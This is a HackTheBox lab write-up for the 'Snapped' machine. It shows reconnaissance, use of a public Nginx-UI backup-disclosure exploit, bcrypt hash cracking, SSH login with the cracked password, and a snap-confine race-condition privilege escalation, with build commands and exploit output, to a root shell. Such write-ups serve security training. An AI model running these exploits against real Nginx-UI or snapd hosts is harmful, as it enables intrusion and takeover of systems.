Snapped

📅 Last Updated: Apr 17, 2026 07:41 | 📄 Size: 15.3 KB | 🎯 Type: HackTheBox Writeup | 🎚️ Difficulty: Hard | 🔗 Back to Categories

Nmap

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ nmap -sC -sV -Pn 10.129.197.159 -oN ./nmap.txt
Starting Nmap 7.98 ( https://nmap.org ) at 2026-04-15 14:10 +0000
Nmap scan report for 10.129.197.159
Host is up (0.45s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.6p1 Ubuntu 3ubuntu13.15 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 4b:c1:eb:48:87:4a:08:54:89:70:93:b7:c7:a9:ea:79 (ECDSA)
|_  256 46:da:a5:65:91:c9:08:99:b2:96:1d:46:0b:fc:df:63 (ED25519)
80/tcp open  http    nginx 1.24.0 (Ubuntu)
|_http-title: Did not follow redirect to http://snapped.htb/
|_http-server-header: nginx/1.24.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 219.16 seconds

Let's add snapped.htbto our /etc/hosts

snapped.htb

From the index page, i did not find anything interesting.

I would continue to fuzz the web contents of this website

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ ffuf -u http://snapped.htb/FUZZ -w /usr/share/wordlists/dirb/common.txt 

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://snapped.htb/FUZZ
 :: Wordlist         : FUZZ: /usr/share/wordlists/dirb/common.txt
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
________________________________________________

                        [Status: 200, Size: 20199, Words: 5035, Lines: 540, Duration: 554ms]
index.html              [Status: 200, Size: 20199, Words: 5035, Lines: 540, Duration: 375ms]
:: Progress: [4614/4614] :: Job [1/1] :: 106 req/sec :: Duration: [0:00:49] :: Errors: 0 ::

There is nothing interesting from the result.

I would continue to enumerate the sub domains

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ ffuf -u http://snapped.htb -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.snapped.htb" -fs 154

        /'___\  /'___\           /'___\       
       /\ \__/ /\ \__/  __  __  /\ \__/       
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\      
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/      
         \ \_\   \ \_\  \ \____/  \ \_\       
          \/_/    \/_/   \/___/    \/_/       

       v2.1.0-dev
________________________________________________

 :: Method           : GET
 :: URL              : http://snapped.htb
 :: Wordlist         : FUZZ: /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt
 :: Header           : Host: FUZZ.snapped.htb
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200-299,301,302,307,401,403,405,500
 :: Filter           : Response size: 154
________________________________________________

admin                   [Status: 200, Size: 1407, Words: 164, Lines: 50, Duration: 487ms]

admin.snapped.htbwould be our next target.

admin.snapped.htb

Now we can find the related CVEof nginx ui, and find CVE-2026-27944

https://github.com/advisories/GHSA-g9w5-qffc-6762
Nginx-UI Vulnerable to Unauthenticated Backup Download with Encryption Key Disclosure

We can grab the exploit script from this page, let's use that verify the vulnerable version

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ python3 poc.py --target http://admin.snapped.htb --decrypt               

X-Backup-Security: vavp/AIIdbXoTIUA8YXJ0utfwvhj/jEa+UcFuzNvwCk=:alrVzOHNFkfbmmNEj0pv0w==
Parsed AES-256 key: vavp/AIIdbXoTIUA8YXJ0utfwvhj/jEa+UcFuzNvwCk=
Parsed AES IV    : alrVzOHNFkfbmmNEj0pv0w==

[*] Key length: 32 bytes (AES-256 ✓)
[*] IV length : 16 bytes (AES block size ✓)

[*] Extracting encrypted backup to backup_extracted
[*] Main archive contains: ['hash_info.txt', 'nginx-ui.zip', 'nginx.zip']
[*] Decrypting hash_info.txt...
    → Saved to backup_extracted/hash_info.txt.decrypted (199 bytes)
[*] Decrypting nginx-ui.zip...
    → Saved to backup_extracted/nginx-ui_decrypted.zip (7688 bytes)
    → Extracted 2 files to backup_extracted/nginx-ui
[*] Decrypting nginx.zip...
    → Saved to backup_extracted/nginx_decrypted.zip (9936 bytes)
    → Extracted 22 files to backup_extracted/nginx

[*] Hash info:
nginx-ui_hash: af360766a7e7ce0a2191ccc7aadfbf921c87f4db4ba2c077ca3162f2375a16fe
nginx_hash: 5aee5d9cbacad73ddd1ab8449bb57ecd5ab38b857bf20e6277eb72ee39418905
timestamp: 20260415-024133
version: 2.3.2

By simply enumerating the grabbed files, we can find a database.db

┌──(wither㉿localhost)-[~/…/Hard/Snapped/backup_extracted/nginx-ui]
└─$ sqlite3 database.db
SQLite version 3.46.1 2024-08-13 09:16:08
Enter ".help" for usage hints.
sqlite> .tables
acme_users         configs            namespaces         sites            
auth_tokens        dns_credentials    nginx_log_indices  streams          
auto_backups       dns_domains        nodes              upstream_configs 
ban_ips            external_notifies  notifications      users            
certs              llm_sessions       passkeys         
config_backups     migrations         site_configs     
sqlite> select * from users;
1|2026-03-19 08:22:54.41011219-04:00|2026-03-19 08:39:11.562741743-04:00||admin|$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm|1||g�

|�7�ĝ�*�:���(��\�D�O�}u#,�|en
2|2026-03-19 09:54:01.989628406-04:00|2026-03-19 09:54:01.989628406-04:00||jonathan|$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq|1||,��զ�H�։��e)5U��Z��▒KĦ"D���W▒|en

Now I can find the hashes

admin:$2a$10$8YdBq4e.WeQn8gv9E0ehh.quy8D/4mXHHY4ALLMAzgFPTrIVltEvm
jonathan:$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq

I can use hashcatto crack the password of jonathan

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ hashcat jonathan.hash -m 3200 /usr/share/wordlists/rockyou.txt

$2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2od9oCSyWq:linkinpark
                                                          
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 3200 (bcrypt $2*$, Blowfish (Unix))
Hash.Target......: $2a$10$8M7JZSRLKdtJpx9YRUNTmODN.pKoBsoGCBi5Z8/WVGO2...oCSyWq
Time.Started.....: Wed Apr 15 14:40:16 2026 (13 secs)
Time.Estimated...: Wed Apr 15 14:40:29 2026 (0 secs)
Kernel.Feature...: Pure Kernel (password length 0-72 bytes)
Guess.Base.......: File (/usr/share/wordlists/rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#01........:       38 H/s (3.34ms) @ Accel:2 Loops:32 Thr:1 Vec:1
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 504/14344385 (0.00%)
Rejected.........: 0/504 (0.00%)
Restore.Point....: 500/14344385 (0.00%)
Restore.Sub.#01..: Salt:0 Amplifier:0-1 Iteration:992-1024
Candidate.Engine.: Device Generator
Candidates.#01...: turtle -> claire
Hardware.Mon.#01.: Util: 96%

Started: Wed Apr 15 14:40:13 2026
Stopped: Wed Apr 15 14:40:31 2026

Now we can get the credit jonathan:linkinpark

Also we can use ssh connect to the shell of jonathan

┌──(wither㉿localhost)-[~/Templates/htb-labs/Hard/Snapped]
└─$ ssh jonathan@snapped.htb                    
The authenticity of host 'snapped.htb (10.129.197.159)' can't be established.
ED25519 key fingerprint is: SHA256:n0XlQQqHGczclhalpCeoOZDYQGr7rl3WlJytHLWPkr8
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added 'snapped.htb' (ED25519) to the list of known hosts.
jonathan@snapped.htb's password: 
Welcome to Ubuntu 24.04.4 LTS (GNU/Linux 6.17.0-19-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/pro

Expanded Security Maintenance for Applications is not enabled.

1 update can be applied immediately.
To see these additional updates run: apt list --upgradable

Enable ESM Apps to receive additional future security updates.
See https://ubuntu.com/esm or run: sudo pro status


The list of available updates is more than a week old.
To check for new updates run: sudo apt update
Last login: Fri Mar 20 12:27:50 2026 from 10.10.14.5
jonathan@snapped:~$ whoami
jonathan

Privilege Escalation

I would check sudo -lfirstly

jonathan@snapped:~$ sudo -l
[sudo] password for jonathan: 
Sorry, user jonathan may not run sudo on snapped.

By checking the file system of this machine, that seems like the file system of ubuntu

jonathan@snapped:~$ ls
Desktop  Documents  Downloads  Music  Pictures  Public  snap  Templates  user.txt  Videos

jonathan@snapped:~$ cat /etc/os-release
PRETTY_NAME="Ubuntu 24.04.4 LTS"
NAME="Ubuntu"
VERSION_ID="24.04"
VERSION="24.04.4 LTS (Noble Numbat)"
VERSION_CODENAME=noble
ID=ubuntu
ID_LIKE=debian
HOME_URL="https://www.ubuntu.com/"
SUPPORT_URL="https://help.ubuntu.com/"
BUG_REPORT_URL="https://bugs.launchpad.net/ubuntu/"
PRIVACY_POLICY_URL="https://www.ubuntu.com/legal/terms-and-policies/privacy-policy"
UBUNTU_CODENAME=noble
LOGO=ubuntu-logo

Continue to check the detailed version of this machine

jonathan@snapped:~$ uname -a 
Linux snapped 6.17.0-19-generic #19~24.04.2-Ubuntu SMP PREEMPT_DYNAMIC Fri Mar  6 23:08:46 UTC 2 x86_64 x86_64 x86_64 GNU/Linux

Think about the name of this machine snapped, that seems point to service snap

jonathan@snapped:~$ snap version
snap    2.63.1+24.04
snapd   2.63.1+24.04
series  16
ubuntu  24.04
kernel  6.17.0-19-generic

That seems lead to a existed CVE

CVE-2026-3888 — snap-confine / systemd-tmpfiles Local Privilege Escalation
Local privilege escalation in snapd on Linux allows local...
https://github.com/advisories/GHSA-grpw-jgrw-ccqr

Also we can find the exploited script
https://github.com/TheCyberGeek/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE

This exploit takes several minutes to take effect. In the real world, it could take up to 30 days, but here, it only has a 4-minute countdown.

Now let's exploit them step by step

Firstly build the exploit dependency
┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE]
└─$ gcc -O2 -static -o exploit exploit_suid.c
gcc -nostdlib -static -Wl,--entry=_start -o librootshell.so librootshell_suid.c

Then upload it to the target machine
┌──(wither㉿localhost)-[~/…/htb-labs/Hard/Snapped/CVE-2026-3888-snap-confine-systemd-tmpfiles-LPE]
└─$ sshpass -p linkinpark scp exploit librootshell.so jonathan@snapped.htb:/tmp/

I’ll run the exploit giving it the payload library as an argument:

jonathan@snapped:/tmp$ ./exploit ./librootshell.so
================================================================
    CVE-2026-3888 — snap-confine / systemd-tmpfiles SUID LPE
================================================================
[*] Payload: /tmp/./librootshell.so (9056 bytes)

[Phase 1] Entering Firefox sandbox...
[+] Inner shell PID: 69249

[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.

The first stage creates a shell within the Firefox snap namespace. It runs cd /tmp; sleep 86400, but /tmp is actually /tmp/snap-private-tmp/snap.firefox/tmp snap.firefox/tmp. As a non-root user, I cannot access this directory. However, I can access it from /proc and note the process ID:

jonathan@snapped:~$ ls -la /proc/69249/root/tmp/
total 12
drwxrwxrwt  4 root root 4096 Apr 15 23:00 .
drwxr-xr-x 21 root root  540 Apr 15 22:57 ..
drwxr-xr-x  4 root root 4096 Apr 15 22:57 .snap
drwxrwxrwt  2 root root 4096 Apr 15 02:13 .X11-unix

ls -la /proc/69249/root/tmp/.snap/usr/lib/x86_64-linux-gnu | head -5

We need to wait for the cleanup to happen

[Phase 2] Waiting for .snap deletion...
[*] Polling (up to 30 days on stock Ubuntu).
[*] Hint: use -s to skip.
[+] .snap deleted.

The third phase destroys the cached mount namespaces. snap-confine caches mount namespaces so they can be reused on subsequent snap startups without needing to rebuild them. If an old cached namespace still exists, snap-confine reuses it and never reads anything from /tmp/.snap, meaning the attacker's malicious directory will be ignored. By forcing an error, the exploit ensures that a new namespace must be built from scratch on the next snap startup, at which point snap-confine can access the attacker's content.


[Phase 3] Destroying cached mount namespace...
cannot perform operation: mount --rbind /dev /tmp/snap.rootfs_UY5hrE//dev: No such file or directory
[+] Namespace destroyed.

Phase 4 is the race condition:

[Phase 4] Setting up and running the race...
[*]   Working directory: /proc/5584/cwd
[*]   Building .snap and .exchange...
[*]   285 entries copied to exchange directory
[*]   Starting race...
[*]   Monitoring snap-confine (child PID 5839)...

[!]   TRIGGER — swapping directories...
[+]   SWAP DONE — race won!
[*]   ld-linux in namespace: jonathan:jonathan 755
[+]   Poisoned namespace PID: 5839

This is the core of the exploit. It first creates a legitimate .snap directory tree and then starts snap-confine. When snap-confine begins building the mount namespace, it verifies the .snap directory and passes the check. However, before snap-confine performs the bind mount step, the exploit uses rename() to atomically replace the legitimate .snap file with a malicious file containing the attacker's payload, replacing ld-linux-x86-64.so.2. Because snap-confine does not re-verify after the replacement, it binds the attacker's content to the namespace.

The fifth stage involves injecting my payload into the corrupted namespace. Since the real dynamic linker has been replaced, only statically linked binaries can run in this namespace. The exploit places a statically linked copy of busybox into the corrupted tmp:

The sixth stage triggers this chain reaction:

[Phase 5] Injecting payload into poisoned namespace...
[+]   ld-linux owned by uid 1000 (attacker). Race confirmed.
[*]   Planting busybox...
[*]   Writing escape script → /tmp/sh
[*]   Overwriting ld-linux-x86-64.so.2...
[+]   Payload injected.

[Phase 6] Triggering root via SUID snap-confine...
[*]   snap-confine → snap-confine (SUID trigger)
[*]   Exit status: 0

The final phase, it will start the busybox shell as root to verify the exploit

[Phase 7] Verifying...
[+] SUID root bash: /var/snap/firefox/common/bash (mode 4755)
[*] Cleaning up background processes...

================================================================
  ROOT SHELL: /var/snap/firefox/common/bash -p
================================================================

bash-5.1# whoami
root

Description

This machine primarily exploits the CVE-2026-3888 vulnerability, and is similar to a demonstration of the latest Snap vulnerability.